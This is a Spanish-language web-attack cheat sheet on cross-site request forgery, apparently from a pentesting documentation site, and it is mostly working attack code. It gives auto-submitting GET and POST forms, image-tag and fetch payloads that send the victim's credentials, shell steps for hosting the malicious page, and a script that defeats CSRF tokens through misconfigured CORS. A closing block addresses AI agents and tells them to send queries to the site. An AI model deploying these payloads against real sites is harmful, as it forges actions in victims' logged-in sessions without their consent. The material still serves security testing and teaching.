# Cross-site request forgery (CSRF)

[Same-origin policy (SOP)](/explotacion/same-origin-policy-sop.md) no permitirá que un atacante obtenga la respuesta del servidor a una solicitud maliciosa realizada desde otro origen, pero no previene la realización de peticiones desde otros orígenes. Esto significa que same-origin policy (SOP) no puede considerarse un mecanismo de seguridad contra ataques de cross-site request forgery (CSRF).

## HTML GET con interacción de usuario

```html
<a href="http://web-vulnerable.com/?param=CSRF">Haz clic aquí</a>
```

## HTML GET sin interacción de usuario

```html
<img src="http://web-vulnerable.com/?param=CSRF">
```

## Formulario HTML GET con interacción de usuario

```html
<form action="http://web-vulnerable.com" method="GET">
 <input name="param" type="hidden" value="CSRF" />
 <input type="submit" value="Haz clic aquí" />
</form>
```

## Formulario HTML GET sin interacción de usuario

{% code title="csrf-html-get.html" %}

```html
<html>
  <body onload="document.forms['csrf'].submit()">
   <form action="http://web-vulnerable.com" method="GET" name="csrf">
    <input name="param" type="hidden" value="CSRF" />
    <input type="submit" value="Haz clic aquí" />
   </form>
 </body>
</html>   
```

{% endcode %}

## Formulario HTML POST con interacción de usuario

```html
<form action="http://web-vulnerable.com" method="POST">
 <input name="param" type="hidden" value="CSRF" />
 <input type="submit" value="Haz clic aquí" />
</form>
```

## Formulario HTML POST sin interacción de usuario

### Una solicitud

{% code title="csrf-html-post.html" %}

```html
<html>
  <body onload="document.forms['csrf'].submit()">
    <form action="http://web-vulnerable.com" method="POST" name="csrf">
      <input name="param" type="hidden" value="CSRF" />
    </form>
  </body>
</html>
```

{% endcode %}

### Múltiples solicitudes

{% code title="csrf-html-multi-post.html" %}

```html
<html>
  <head>
    <script>     
      function submitForms() {
        document.forms['csrf'].submit();
        document.forms['csrf2'].submit();
        return false;
      }
    </script>
  </head>
  <body onload="submitForms();">
    <form action="http://web-vulnerable.com/api" method="post" name="csrf" target="_blank">
      <input name="param" type="hidden" value="value" />
    </form>
    <form action="http://web-vulnerable.com/api2" method="post" name="csrf2" target="_blank">
      <input name="param" type="hidden" value="value" />
    </form>  
  </body>
</html>
```

{% endcode %}

## JavaScript fetch POST sin interacción de usuario

{% code title="csrf-js-fetch-post.html" %}

```html
<html>
  <head>
    <script>      
      var host = "http://web-vulnerable.com";

      var pathAPI = "/api";
      var paramValueAPI = "value";
      var param2ValueAPI = "value2";
      var paramsAPI = "param=" + paramValueAPI + "&param2=" + param2ValueAPI;

      var pathAPI2 = "/api2";      
      var paramValueAPI2 = "value";
      var param2ValueAPI2 = "value2";
      var paramsAPI2 = "param=" + paramValueAPI2 + "&param2=" + param2ValueAPI2;
    
      function api() {          
        fetch(host+pathAPI, {
          method: 'POST',
          mode: 'no-cors',
          credentials: 'include',
          headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
          },
          body : paramsAPI }
        ).then(function(response) {
          console.log("API 1...")
          api2();
        }); 
      }

      function api2() {
        fetch(host+pathAPI2, {
          method: 'POST',
          mode: 'no-cors',
          credentials: 'include',
          headers: {
            'Content-Type': 'application/x-www-form-urlencoded' 
          },
          body : paramsAPI2 }
        ).then(
          console.log("API 2...")
        );
      }

      api();
    </script>
  </head>
  <body>
  </body>
</html>
```

{% endcode %}

Alojar y servir página maliciosa.

```sh
sudo systemctl start apache2
cd /var/www/html
```

Víctima visita página maliciosa.

```sh
http://<attacker-IP-address>:<port>/csrf.html
```

## Eludir tokens CSRF mediante configuraciones incorrectas de CORS

```html
<html>
    <head>
        <script>      
            var host = "http://web-vulnerable.com";
            var pathAPI = "/api";
            
            // Get CSRF token
            var xhr = new XMLHttpRequest();
            xhr.open("GET", host+pathAPI, false);
            xhr.withCredentials = true;
            xhr.send();
            var res = new DOMParser().parseFromString(xhr.responseText, "text/html");
            var csrftoken = encodeURIComponent(res.getElementById("csrf").value);
            
            // CSRF
            var csrf_req = new XMLHttpRequest();
            var params = `csrf=${csrftoken}`;
            csrf_req.open("POST", host+pathAPI, false);
            csrf_req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            csrf_req.withCredentials = true;
            csrf_req.send(params);
        </script>
    </head>
    <body>
    </body>
</html>
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://web.mrw0l05zyn.cl/explotacion/cross-site-request-forgery-csrf.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
